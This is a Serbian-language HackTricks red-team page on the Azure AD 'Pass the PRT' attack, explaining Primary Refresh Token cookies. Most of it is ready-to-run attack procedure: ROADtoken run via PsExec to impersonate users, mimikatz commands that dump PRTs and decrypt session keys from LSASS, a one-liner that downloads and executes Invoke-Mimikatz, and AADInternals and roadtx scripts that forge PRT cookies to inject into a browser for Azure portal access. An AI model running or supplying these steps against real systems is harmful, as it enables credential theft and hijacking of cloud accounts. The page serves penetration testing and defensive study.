Az - Pass the PRT

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Šta je PRT

Az - Primary Refresh Token (PRT)

Proverite da li imate PRT

Dsregcmd.exe /status

Stanje SSO-a

U odeljku Stanje SSO-a, trebalo bi da vidite da je AzureAdPrt postavljen na YES.

Takođe, u istom izlazu možete videti da li je uređaj pridružen Azure-u (u polju AzureAdJoined):

PRT kolačić

PRT kolačić zapravo se naziva x-ms-RefreshTokenCredential i predstavlja JSON Web Token (JWT). JWT sadrži 3 dela, zaglavlje, telo i potpis, podeljeni tačkom . i svi su kodirani u URL bezbednom base64 formatu. Tipičan PRT kolačić sadrži sledeće zaglavlje i telo:

{
"alg": "HS256",
"ctx": "oYKjPJyCZN92Vtigt/f8YlVYCLoMu383"
}
{
"refresh_token": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAZ18nQkT-eD6Hqt7sf5QY0iWPSssZOto]<cut>VhcDew7XCHAVmCutIod8bae4YFj8o2OOEl6JX-HIC9ofOG-1IOyJegQBPce1WS-ckcO1gIOpKy-m-JY8VN8xY93kmj8GBKiT8IAA",
"is_primary": "true",
"request_nonce": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAPrlbf_TrEVJRMW2Cr7cJvYKDh2XsByis2eCF9iBHNqJJVzYR_boX8VfBpZpeIV078IE4QY0pIBtCcr90eyah5yAA"
}

Stvarni Primarni osvežavajući token (PRT) je inkapsuliran unutar refresh_token, koji je enkriptovan ključem pod kontrolom Azure AD, čime se njegov sadržaj čini neprozirnim i neodšifrovanim za nas. Polje is_primary označava inkapsulaciju primarnog osvežavajućeg tokena unutar ovog tokena. Da bi se osiguralo da kolačić ostane povezan sa određenom prijavnom sesijom za koju je namenjen, request_nonce se prenosi sa stranice logon.microsoftonline.com.

Tok kolačića PRT korišćenjem TPM-a

Proces LSASS će poslati KDF kontekst TPM-u, a TPM će koristiti sesijski ključ (prikupljen prilikom registracije uređaja u AzureAD i smešten u TPM) i prethodni kontekst da izvede ključ, a ovaj izvedeni ključ se koristi za potpisivanje PRT kolačića (JWT).

KDF kontekst je brojčana vrednost od AzureAD i PRT koji stvara JWT pomešan sa kontekstom (nasumični bajtovi).

Stoga, čak i ako PRT ne može biti izvađen jer se nalazi unutar TPM-a, moguće je zloupotrebiti LSASS da zahteva izvedene ključeve iz novih konteksta i koristi generisane ključeve za potpisivanje kolačića.

Scenariji zloupotrebe PRT-a

Kao običan korisnik moguće je zahtevati upotrebu PRT-a tražeći od LSASS-a podatke o SSO-u. Ovo se može uraditi kao nativne aplikacije koje zahtevaju tokene od Web Account Managera (token broker). WAM prosleđuje zahtev LSASS-u, koji traži tokene koristeći potpisani PRT tvrdnju. Ili se može uraditi sa tokovima zasnovanim na pregledaču (web) gde se PRT kolačić koristi kao zaglavlje za autentifikaciju zahteva ka Azure AS stranicama za prijavljivanje.

Kao SISTEM možete ukrasti PRT ako nije zaštićen TPM-om ili interagovati sa PRT ključevima u LSASS-u koristeći kripto API-je.

Primeri napada Pass-the-PRT

Napad - ROADtoken

Za više informacija o ovom načinu proverite ovaj post. ROADtoken će pokrenuti BrowserCore.exe iz odgovarajućeg direktorijuma i koristiti ga da dobije PRT kolačić. Ovaj kolačić se zatim može koristiti sa ROADtools-om za autentifikaciju i dobijanje trajnog osvežavajućeg tokena.

Da biste generisali validan PRT kolačić, prva stvar koja vam je potrebna je brojčana vrednost. Možete je dobiti sa:

$TenantId = "19a03645-a17b-129e-a8eb-109ea7644bed"
$URL = "https://login.microsoftonline.com/$TenantId/oauth2/token"

$Params = @{
"URI"     = $URL
"Method"  = "POST"
}
$Body = @{
"grant_type" = "srv_challenge"
}
$Result = Invoke-RestMethod @Params -UseBasicParsing -Body $Body
$Result.Nonce
AwABAAAAAAACAOz_BAD0_8vU8dH9Bb0ciqF_haudN2OkDdyluIE2zHStmEQdUVbiSUaQi_EdsWfi1 9-EKrlyme4TaOHIBG24v-FBV96nHNMgAA

Ili koristeći roadrecon:

roadrecon auth prt-init

Zatim možete koristiti roadtoken da biste dobili novi PRT (pokrenite alat iz procesa korisnika za napad):

.\ROADtoken.exe <nonce>

Kao jednolinijski:

Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"}

Zatim možete koristiti generisani kolačić da biste generisali token za prijavu korišćenjem Azure AD Grafa ili Microsoft Grafa:

# Generate
roadrecon auth --prt-cookie <prt_cookie>

# Connect
Connect-AzureAD --AadAccessToken <token> --AccountId <acc_ind>

Napad - Korišćenje roadrecon alata

Napad - Korišćenje AADInternals alata i procurelog PRT tokena

Get-AADIntUserPRTToken dobija korisnikov PRT token sa Azure AD pridruženog ili Hibridno pridruženog računara. Koristi BrowserCore.exe za dobijanje PRT tokena.

# Get the PRToken
$prtToken = Get-AADIntUserPRTToken

# Get an access token for AAD Graph API and save to cache
Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken

Ili, ako imate vrednosti iz Mimikatza, takođe možete koristiti AADInternals da generišete token:

# Mimikat "PRT" value
$MimikatzPRT="MC5BWU..."

# Add padding
while($MimikatzPrt.Length % 4) {$MimikatzPrt += "="}

# Decode
$PRT=[text.encoding]::UTF8.GetString([convert]::FromBase64String($MimikatzPRT))

# Mimikatz "Clear key" value
$MimikatzClearKey="37c5ecdfeab49139288d8e7b0732a5c43fac53d3d36ca5629babf4ba5f1562f0"

# Convert to Byte array and B64 encode
$SKey = [convert]::ToBase64String( [byte[]] ($MimikatzClearKey -replace '..', '0x$&,' -split ',' -ne ''))

# Generate PRTToken with Nonce
$prtToken = New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey -GetNonce
$prtToken
## You can already use this token ac cookie in the browser

# Get access token from prtToken
$AT = Get-AADIntAccessTokenForAzureCoreManagement -PRTToken $prtToken

# Verify access and connect with Az. You can see account id in mimikatz prt output
Connect-AzAccount -AccessToken $AT -TenantID <tenant-id> -AccountId <acc-id>

Idite na https://login.microsoftonline.com, obrišite sve kolačiće za login.microsoftonline.com i unesite novi kolačić.

Name: x-ms-RefreshTokenCredential
Value: [Paste your output from above]
Path: /
HttpOnly: Set to True (checked)

Zatim idite na https://portal.azure.com

Preostalo bi trebalo da bude podrazumevano. Proverite da li možete osvežiti stranicu i kolačić ne nestaje, ako nestane, možda ste napravili grešku i morate proći kroz proces ponovo. Ako ne nestane, trebalo bi da bude u redu.

Napad - Mimikatz

Koraci

  1. PRT (Primarni osvežavajući token) se izvlači iz LSASS (Lokalna podsistema za bezbednost) i čuva za kasniju upotrebu.

  2. Zatim se izvlači Sesioni ključ. S obzirom da se ovaj ključ prvobitno izdaje, a zatim ponovo šifruje lokalnim uređajem, neophodno je dešifrovanje korišćenjem DPAPI master ključa. Detaljne informacije o DPAPI (API za zaštitu podataka) mogu se pronaći u ovim resursima: HackTricks i za razumevanje njegove primene, pogledajte Napad preko kolačića.

  3. Nakon dešifrovanja Sesionog ključa, dobijaju se izvedeni ključ i kontekst za PRT. Oni su ključni za kreiranje PRT kolačića. Konkretno, izvedeni ključ se koristi za potpisivanje JWT (JSON Web Token) koji čini kolačić. Detaljno objašnjenje ovog procesa pružio je Dirk-jan, dostupno ovde.

Imajte na umu da ako je PRT unutar TPM-a, a ne unutar lsass mimikatz neće moći da ga izvuče. Međutim, biće moguće dobiti ključ iz izvedenog ključa iz konteksta iz TPM-a i koristiti ga za potpisivanje kolačića (proverite opciju 3).

Možete pronaći detaljno objašnjenje izvršenog procesa za izvlačenje ovih detalja ovde: https://dirkjanm.io/digging-further-into-the-primary-refresh-token/

Ovo neće tačno raditi nakon popravki avgusta 2021. za dobijanje PRT tokena drugih korisnika jer samo korisnik može dobiti svoj PRT (lokalni administrator ne može pristupiti PRT-ovima drugih korisnika), ali može pristupiti svom.

Možete koristiti mimikatz za izvlačenje PRT-a:

mimikatz.exe
Privilege::debug
Sekurlsa::cloudap

# Or in powershell
iex (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1")
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"'

(Слике са https://blog.netwrix.com/2023/05/13/pass-the-prt-overview)

Kopirajte deo označen sa Prt i sačuvajte ga. Izvucite i sesijski ključ (vrednost KeyValue polja ProofOfPossesionKey) koji možete videti označen ispod. Ovo je šifrovano i trebaće nam da koristimo naše DPAPI master ključeve da bismo ga dešifrovali.

Ako ne vidite nikakve PRT podatke, može biti da nemate PRT-ove jer vaš uređaj nije pridružen Azure AD-u ili može biti da koristite zastarelu verziju Windows 10.

Da biste dešifrovali sesijski ključ, morate povećati svoje privilegije na SYSTEM da biste pokrenuli pod računarskim kontekstom kako biste mogli koristiti DPAPI master ključ za dešifrovanje. Možete koristiti sledeće komande za to:

token::elevate
dpapi::cloudapkd /keyvalue:[PASTE ProofOfPosessionKey HERE] /unprotect

Opcija 1 - Potpuni Mimikatz

  • Sada želite da kopirate i Context vrednost:

  • I vrednost izvedenog ključa:

  • Na kraju možete koristiti sve ove informacije da generišete PRT kolačiće:

Dpapi::cloudapkd /context:[CONTEXT] /derivedkey:[DerivedKey] /Prt:[PRT]
Name: x-ms-RefreshTokenCredential
Value: [Paste your output from above]
Path: /
HttpOnly: Set to True (checked)

Preostalo bi trebalo da bude podrazumevano. Proverite da li možete osvežiti stranicu, a kolačić ne nestaje. Ako nestane, možda ste napravili grešku i morate proći kroz proces ponovo. Ako ne nestane, trebalo bi da bude u redu.

Opcija 2 - roadrecon korišćenjem PRT

  • Prvo obnovite PRT, koji će biti sačuvan u roadtx.prt:

roadtx prt -a renew --prt <PRT From mimikatz> --prt-sessionkey <clear key from mimikatz>
  • Sada možemo zahtevati tokene koristeći interaktivni pregledač sa roadtx browserprtauth. Ako koristimo komandu roadtx describe, vidimo da pristupni token uključuje MFA tvrdnju jer je PRT koji sam koristio u ovom slučaju takođe imao MFA tvrdnju.

roadtx browserprtauth
roadtx describe < .roadtools_auth

Opcija 3 - roadrecon korišćenjem izvedenih ključeva

Imajući kontekst i izvedeni ključ izvučen pomoću mimikatz-a, moguće je koristiti roadrecon za generisanje novog potpisanog kolačića sa:

roadrecon auth --prt-cookie <cookie> --prt-context <context> --derives-key <derived key>

Reference

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Last updated